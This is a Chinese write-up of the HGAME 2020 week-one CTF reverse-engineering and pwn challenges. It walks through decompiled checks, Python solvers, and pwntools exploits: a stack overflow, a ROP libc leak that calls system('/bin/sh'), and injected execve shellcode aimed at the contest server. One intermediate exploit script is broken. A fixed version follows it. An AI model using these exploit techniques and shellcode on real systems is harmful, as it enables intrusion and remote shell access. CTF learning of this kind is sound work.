Hgame_week_1_re&pwn_wp
2020-02-11 09:56:58 Author: xz.aliyun.com(查看原文) 阅读量:343 收藏

这里记录了hgame 第一周的re与 pwn 题解,希望能给大家带来帮助!

首先将它拖入ida,

于是 我们可以通过 ida 中的 F12 功能键 去搜索 字符串,然后通过关键字符串去定位到main函数,从而 继续后面的分析

我们搜索到以下关键字符串(红框框住部分)

通过它们便可以定位到 main函数所在位置:

程序流程 为:

我们输入的字符串然后经过sub_140001EB0函数处理,处理后得到的字符串再与
“0g371wvVy9qPztz7xQ+PxNuKxQv74B/5n/zwuPfX” 做比较,相等的话就说明我们已经拿到 flag了!

我们进去 sub_140001EB0函数:

signed __int64 __fastcall sub_140001EB0(_BYTE *a1, __int64 a2, int a3)
{
  int v3; // er10
  __int64 v4; // rax
  __int64 v5; // rbx
  _BYTE *v6; // rdi
  _BYTE *v7; // r9
  signed __int64 v8; // r11
  unsigned __int64 v9; // rdx
  unsigned __int64 v10; // rax
  char v11; // cl

  v3 = 0;
  v4 = a3 - 2;
  v5 = a2;
  v6 = a1;
  v7 = a1;
  if ( v4 > 0 )
  {
    v8 = a2 + 1;
    v9 = ((unsigned __int64)((unsigned __int64)(v4 - 1) * (unsigned __int128)0xAAAAAAAAAAAAAAABui64 >> 64) >> 1) + 1;
    v3 = 3 * v9;
    do
    {
      v10 = *(unsigned __int8 *)(v8 - 1);
      v8 += 3i64;
      *v7 = aAbcdefghijklmn[v10 >> 2];
      v7[1] = aAbcdefghijklmn[((unsigned __int64)*(unsigned __int8 *)(v8 - 3) >> 4) | 16i64 * (*(_BYTE *)(v8 - 4) & 3)];
      v7[2] = aAbcdefghijklmn[4i64 * (*(_BYTE *)(v8 - 3) & 0xF) | ((unsigned __int64)*(unsigned __int8 *)(v8 - 2) >> 6)];
      v7[3] = aAbcdefghijklmn[*(_BYTE *)(v8 - 2) & 0x3F];
      v7 += 4;
      --v9;
    }
    while ( v9 );
  }
  if ( v3 < a3 )
  {
    *v7 = aAbcdefghijklmn[(unsigned __int64)*(unsigned __int8 *)(v3 + v5) >> 2];
    if ( v3 == a3 - 1 )
    {
      v11 = 61;
      v7[1] = aAbcdefghijklmn[16 * (*(_BYTE *)(v3 + v5) & 3)];
    }
    else
    {
      v7[1] = aAbcdefghijklmn[((unsigned __int64)*(unsigned __int8 *)(v5 + v3 + 1) >> 4) | 16i64
                                                                                         * (*(_BYTE *)(v3 + v5) & 3)];
      v11 = aAbcdefghijklmn[4 * (*(_BYTE *)(v5 + v3 + 1) & 0xF)];
    }
    v7[2] = v11;
    v7[3] = 61;
    v7 += 4;
  }
  *v7 = 0;
  return v7 - v6 + 1;
}

输 通过阅读代码很明显的 base64编码,将3个8位的字节(38)转化成4个6位的字节(46),
之后在6位的前面补两个0,形成8位一个字节的形式。 当然具体的base64编码实现可以在网上具体学习下

当然这里 并不是纯粹的base64 加密,正宗的base64 的加密table为” ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/” 这题将table给换成了 “abcdefghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZ”

所以这题的 flag 可由 对 “0g371wvVy9qPztz7xQ+PxNuKxQv74B/5n/zwuPfX” 进行 魔改后的base64 进行解密。(在网上可找个 base 64 解密代码 将其 将其table给换了,即可。

flag为:

hgame{b45e6a_i5_50_eazy_6VVSQ}


这题 其实是 re中经典的 迷宫类 题目,拖入ida:详细见注释中的分析

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  signed int v3; // eax
  __int64 v4; // [rsp+0h] [rbp-80h]
  char *v5; // [rsp+8h] [rbp-78h]
  char s[48]; // [rsp+10h] [rbp-70h]
  char v7; // [rsp+40h] [rbp-40h]
  unsigned __int64 v8; // [rsp+78h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  sub_4006A6(a1, a2, a3);
  __isoc99_scanf("%40s", s);
  HIDWORD(v4) = strlen(s);
  LODWORD(v4) = 0;
  v5 = (char *)&unk_6020C4;         //这里是我们要开始走的位置   char* 类型
  while ( (signed int)v4 < SHIDWORD(v4) )       //这里的while 循环去 逐位的判断 我们的 输入
  {
    v3 = s[(signed int)v4];
    if ( v3 == 'd' )            
    {
      v5 += 4;          // +4 既可以理解为  向 右 走 四位 ,即    d 代表 着  右移
    }
    else if ( v3 > 'd' )
    {
      if ( v3 == 's' )          
      {
        v5 += 64;       //+64   相当于   64/4=16 行  把地图看着 二维数组,即    s代表 着  下移
      }     //一般 像迷宫题,都是 正方形式 的 即  x*x 的方阵,在后面其实发现这题 仍然是。即 16*16 的方阵
      else
      {
        if ( v3 != 'w' )            //同理的话   w 代表着 上移
        {
LABEL_12:
          puts("Illegal input!");
          exit(0);
        }
        v5 -= 64;
      }
    }
    else
    {
      if ( v3 != 'a' )                       //同理的话   a 代表着 上移
        goto LABEL_12;
      v5 -= 4;
    }
    if ( v5 < (char *)&unk_602080 || v5 > (char *)&unk_60247C || *(_DWORD *)v5 & 1 )
      goto LABEL_22;     //这里我们可以确定整个地图是 以unk_602080处开始的,但我们是在unk_6020C4开始行走的
    LODWORD(v4) = v4 + 1;
  }
  if ( v5 == (char *)&unk_60243C )                   //地图结束地址
  {
    sprintf(&v7, "hgame{%s}", s, v4);
    puts("You win!");
    printf("Flag is: ");
    puts(&v7);
    exit(0);
  }
LABEL_22:
  puts("You died");
  exit(0);
}

即 首先我们将 地图 通过 IDC 脚本 跑出来:

关于 idc 脚本语言可以在网上看下这篇链接https://www.jianshu.com/p/366cd488cb24

以下是跑出来的结果

0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x0,0x0,0x0,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x0,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x0,0x0,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x0

通过可以通过 python脚本将它们 排好 16*16,

#coding:utf8
v5=[0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x0,0x0,0x0,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x0,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x0,0x0,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x0,0x0]
#print len(v5)
for i in range(len(v5)):
    if (i+1)%16==0:
        print v5[i]
    else:
        print v5[i],

阅读代码 我们可以得到 wasd 为 分别控制上左右下的 字符
从左上角的第一个 0 走到 右下角 得到 ssssddddddsssssddwwdddssssdssdd
最后 加上 hgame{} 即 flag :

hgame{ssssddddddsssssddwwdddssssdssdd}


这道题 真的是 re里出的很好的一道题,
照常一下,拖入ida:,
先看第一部分,这里其实要求输入 39 个字符串,除去开始的 hgame{ 和最一个 }还剩32个

因为 v6,v7,v8,v9,v10,v11,v12,v13 在连续的,其实可以用数组V6[8] 去理解它们的

v6是 数组首地址,后面的 在数组中元素嘛

即 在这里我们知道了: V6= [76,60,214,54,80,136,32,204]

然后
我们进去看下 sub_400616()函数

可以知道 它其实是 将 一个字符串的每两个 字符 分别转化为 16进制数然后合成 一个 1个字符, 举个列子:

“4b” -> chr(0x4b) ->”K”

所以第一部分:将是相当于 我们输入的 32个字符串 前 16个字符经上面函数处理成 8个字符存在与 V14 中 ,后16个字符经上面函数处理成 8个字符存在与 V16 中,
然后下面有3 个 for 循环:

我们逆着来, 先分析 最后一个:

经过最后一个 for循环得到v16(代码中记录为 VV16) 应该为 "Easylif3"

而经过 第二个 for循环的到的 v14(代码中记录为 VV14) 应该为 “e4syRe

关于位运算这里 有个小规律:

从而我们写出 python 脚本 跑出 第一个 for循环 v16 应该为的 内容

#coding:utf8
v6=[76,60,214,54,80,136,32,204]
vv14='e4sy_Re_'
vv16="Easylif3"
v16=[]
v14=[]
for k in range(8):
    v16.append(ord(vv14[k])^(v6[k])^ord(vv16[k]))
print v16#[108, 105, 214, 54, 99, 179, 35, 160]

然后看 第二个 for循环:
这个更简单些,我们可以 很容易得到 第一个 for循环 v16 应该为的 内容

for j in range(8):
    v14.append(ord(vv14[j])^(v6[j]))
print v14#[41, 8, 165, 79, 15, 218, 69, 147]

最后 我们看第一个 for循环:

我们相应着 将这个for循环中的 四个 表达式 倒着再循环过来即可,注意要记得将第一个 表达式的 >>5 变成<< 5 8** 变成 >>3

哦哦,这里要注意下 关于在ida 中并不是所有 反编译 都是完全 正确的,我们查看汇编 发现 **8 其实就是 <<3

for i in range(8):
    v14[i] = v14[i]&0x55 ^ (v16[7-i]&0xAA)>>1 | v14[i]&0xAA
    v16[7-i]=(v14[i]&0x55)<<1 ^ v16[7-i]&0xAA | v16[7-i]&0x55
    v14[i]=v14[i]&0x55^(v16[7-i]&0xAA)>>1 | v14[i] &0xAA
    v14[i]=v14[i]&0xE0<<5 | v14[i]>>3
# print v14
# print v16

for i in range(8):
    v14[i]=hex(v14[i])
    v16[i]=hex(v16[i])
print v14
print v16

得到结果:

V14:['0xf', '0x3', '0x1e', '0x3', '0x3', '0x19', '0x2', '0x12']
V16:['0x66', '0xcb', '0xf4', '0x1e', '0xcb', '0x1b', '0x1', '0x2']

而根据我们前面的分析 我们输入的字符串 就是 “hgame{“ +v14+v16+}

即 # hgame{ 0f233e63637982d266cbf41ecb1b0102 }


首先用file命令 检查下 文件属性:

file Hard_AAAAA
Hard_AAAAA: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, 
BuildID[sha1]=5c5c4e8b21a1b4ef48330e486d89a5064da74169, not stripped

然后用checksec 命令查看下 该程序开启了什么保护。

checksec Hard_AAAAA
[*] 
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found         //开启了 Canary 保护
    NX:       NX enabled
PIE:      No PIE (0x8048000)

于是拖入 ida(32):

这道题很简单,再将之前我们 得去 详细了解下 memcmp函数 (比较内存块大小的函数):
这个很关键:

int memcmp ( const void * ptr1, const void * ptr2, size_t num );
//ptr1 ,ptr2 是指向内存块得指针
//num 是要比较得字节数

将ptr1指向的内存块的第一个num字节与ptr2指向的第一个num字节进行比较,
如果它们都匹配,则返回零;
如果不匹配,且ptr1中的值 比 ptr2 中的值 小 返回 <0 的 int 值
如果不匹配,且ptr1中的值 比 ptr2 中的值 大 返回 >0 的 int 值
请注意,与strcmp不同,该函数在找到空字符后不会停止比较。

给个 demo:

#include <stdio.h>
#include <string.h>
int main ()
{
  char zise_1[] = "zise_yangwang";
  char zise_2[] = "zise_YangWang";
  int n;
  n=memcmp ( zise_1, zise_2, sizeof(zise_1) );

  if (n>0) printf ("'%s' is greater than '%s'.\n",zise_1,zise_2);
  else if (n<0) printf ("'%s' is less than '%s'.\n",zise_1,zise_2);
  else printf ("'%s' is the same as '%s'.\n",zise_1,zise_2);

  return 0;
}

运行结果:

'zise_yangwang' is greater than 'zise_YangWang'.

因为 y(121)>Y(89)

或许,在这之前很多人 在看到第3个参数 7 的时候 就很懵,不应该是 4 嘛,所以,现在看完上面的 知识 就能很明白了,

所以 这题, 的关键 判断 就是要 求 v5的所在内存块中 前 7字节的内容 与 "0O0o"

所在内存块中 前 7字节的内容 相等。即可触发 后门函数, 从而 pwn 掉程序

!memcmp("0O0o", &v5, 7u)

我们通过 动态调试 ,参数arg0 是 第一个参数 地址 arg1 是我们构造的第二个参数 , arg2 是 7

我们通过 命令 x/10x 0x80486e0 得到 前七个 字节内容是 "0O0o"+'\x00'+'O0'

所以 写 exp:

#coding:utf-8
from pwn import *
context.log_level='debug'
io = process("./Hard_AAAAA")
io = remote('47.103.214.163',20000)
payload = 'a'*(0xAC-0x31)+"0O0o"+'\x00'+'O0'        
#payload += p64(get_flag_addr)  #将EIP劫持到get_flag_addr
io.recvuntil("Let's 0O0o\\0O0!")
#gdb.attach(io,'b *0x08048605')
#pause()
io.sendline(payload)    
io.interactive()#hgame{0OoO0oo0O0Oo}


首先用file命令 检查下 文件属性:

file One_Shot

One_Shot: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, 
BuildID[sha1]=68e45f253cdc8253dce50c56a1eed3f9708d1fae, not stripped

然后用checksec 命令查看下 该程序开启了什么保护。

checksec One_Shot
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

拖入ida:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  _BYTE *v4; // [rsp+8h] [rbp-18h]
  int fd[2]; // [rsp+10h] [rbp-10h]
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  v4 = 0LL;
  *(_QWORD *)fd = open("./flag", 0, envp);
  setbuf(stdout, 0LL);
  read(fd[0], &flag, 30uLL);
  puts("Firstly....What's your name?");
  __isoc99_scanf("%32s", &name);
  puts("The thing that could change the world might be a Byte!");
  puts("Take tne only one shot!");
  __isoc99_scanf("%d", &v4);
  *v4 = 1;
  puts("A success?");
  printf("Goodbye,%s", &name);
  return 0;
}

这里的话 我们 可以知道 该程序读取了 flag 存在在 bss段中,同时name
也存在了栈中,并且它们 相邻, 如果我们把name最后的 结束符\x00 给 换成 1 的话

那么,输出 name将会 顺带着把flag给输出 出来,所以这里 我们 首先输入32

字节大小填满 name,然后将 flag所在bss段中地址 0x6010E0 以十进制即6295776 发送即可实现!

所以 exp:

#coding:utf-8
from pwn import *
context.log_level='debug'
io = process("./One_Shot")
io = remote('47.103.214.163',20002)

io.recvuntil("Firstly....What's your name?")
payload = 'a'*32
io.sendline(payload)    
io.recvuntil("Take tne only one shot!")
payload2="6295776"


#gdb.attach(io)
#pause()    
io.send(payload2)


io.interactive()

得到 flag:hgame{On3_Sh0t_0ne_Fl4g}

我们把它 拖入 ida 发现 其实 源码还是很简单的

我们把我们文件./some_life_experience的 内容 输出,然后我们再最多read 到buf 0x100字节!

这里的漏洞在 最后的read (0,&buf,0x100),存在栈溢出漏洞!

这题没有 system 和/bin/sh 字符后,所以 我这里 是 利用 puts 函数泄露libc

然后最后使用libc中的 system 和 /bin/sh 字符 getshell。

Exp:

#coding:utf-8
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
io = process("./ROP_LEVEL0")
elf=ELF("./ROP_LEVEL0")
#io = remote('47.103.214.163',20002)
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
libc_start_main_got = elf.got['__libc_start_main'] # 载入的libc_main函数的地址。
main_addr = elf.symbols['main']
pop_rdi_addr=0x400753
print hex(puts_plt)
print hex(puts_got) #0x601018
print hex(libc_start_main_got)
print hex(main_addr)    #0x40065b
print hex(pop_rdi_addr) #0x400753               #ROPgadget --binary ROP_LEVEL0 --only 'pop|ret'

payload='a'*(0x50+8)+p64(pop_rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)

io.sendlineafter("You can not only cat flag but also Opxx Rexx Wrxxx ./flag",payload)
io.recv()

puts_addr=u64(io.recv(6).ljust(8,"\x00"))
print hex(puts_addr)

libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
binsh_addr = libc_base + libc.dump('str_bin_sh')
p.sendlineafter('You can not only cat flag but also Opxx Rexx Wrxxx ./flag','a'*(0x50+8)+p64(pop_rdi_addr)+p64(binsh_addr)+p64(system_addr))
io.interactive()

从而得到:

经过尝试 确定 libc6_2.23-0ubuntu10_amd64 符合 要求:
我们在 这个网站上 可查到 libc中的 每个函数的 偏移地址:

于是最后的 exp:

#coding:utf-8
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
io = process("./ROP_LEVEL0")
elf=ELF("./ROP_LEVEL0")
libc=ELF("./libc6_2.23-0ubuntu10_amd64.so")
io = remote('47.103.214.163',20003)
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
libc_start_main_got = elf.got['__libc_start_main'] # 载入的libc_main函数的地址。
main_addr = elf.symbols['main']
pop_rdi_addr=0x400753
print hex(puts_plt)
print hex(puts_got) #0x601018
print hex(libc_start_main_got)
print hex(main_addr)    #0x40065b
print hex(pop_rdi_addr) #0x400753   #ROPgadget --binary ROP_LEVEL0 --only 'pop|ret'

payload='a'*(0x50+8)+p64(pop_rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)

io.sendlineafter("You can not only cat flag but also Opxx Rexx Wrxxx ./flag",payload)
io.recv()

puts_addr=u64(io.recv(6).ljust(8,"\x00"))
print hex(puts_addr)

#libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - 0x06f690#libc.symbols['puts']

system_addr = libc_base + 0x045390#libc.symbols('system')

libc_binsh=next(libc.search("/bin/sh"))
binsh_addr = libc_base + libc_binsh

io.sendlineafter('You can not only cat flag but also Opxx Rexx Wrxxx ./flag','a'*(0x50+8)+p64(pop_rdi_addr)+p64(binsh_addr)+p64(system_addr))

io.interactive()

得到 flag:

hgame{R0P_1s_H4cK3rs'_RoM4nC3}

最后一道 pwn:
直接 丢ida 里,

我们可以看到 我们循环调用 20 次 readll 函数
我们 进入 readll 看下:

我们可以理解为这个函数 它将我们输入的 8个字符类型的数据 转化 成 long long int数据了,

这个 atoll函数 可具体参考这里:http://www.cplusplus.com/reference/cstdlib/atoll/
功能:解析C字符串str,将其内容解释为整数,并将其作为type的值返回long long int。

;另外 我们 注意看 main 函数 v4数组 在栈中 据 rbp的距离 为 0x60

然后除此之外还要注意 在 rbp-0x4 处还有个i ,在当我们覆盖的时候要不能影响它,因为这个i 会被其他地方调用 ,导致 一些奇怪的事情,最后的进行rop的话还要注意 atoll函数 返回类型 是long long int。最大范围是 0x7fffffff ffffffff 最后的shellcode 要用 nop 调整下,不然 会返回 负 1 影响shellcode 功能!

于是 exp:

from pwn import *
p = process("./Number_Killer")
#p = remote('47.103.214.163',20001)
context.log_level = 'info'
context.arch ='amd64'
p.recvuntil("Let's Pwn me with numbers!\n")

def sendNumber(num):
    p.sendline(str(num))
    sleep(0.1)

for i in range(11):
    sendNumber(1)


sendNumber(0xc00000000)         #idx
#gdb.attach(p)
#pause()
sendNumber(0x00000000040078d)   #ret_addr

shellcode =  "\x90\x90\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";                                     
shellcode = shellcode.ljust(0x30,'\x00')
print(len(shellcode))
for i in range(6):
    sh = shellcode[8*i:8*i+8]
    num = u64(sh)
    print(hex(num))
    sendNumber(num)
p.interactive()

得到 flag:

hgame{Ea2y_2hel1c0de_1n_St4ck}

文章来源: http://xz.aliyun.com/t/7183
如有侵权请联系:admin#unsafe.sh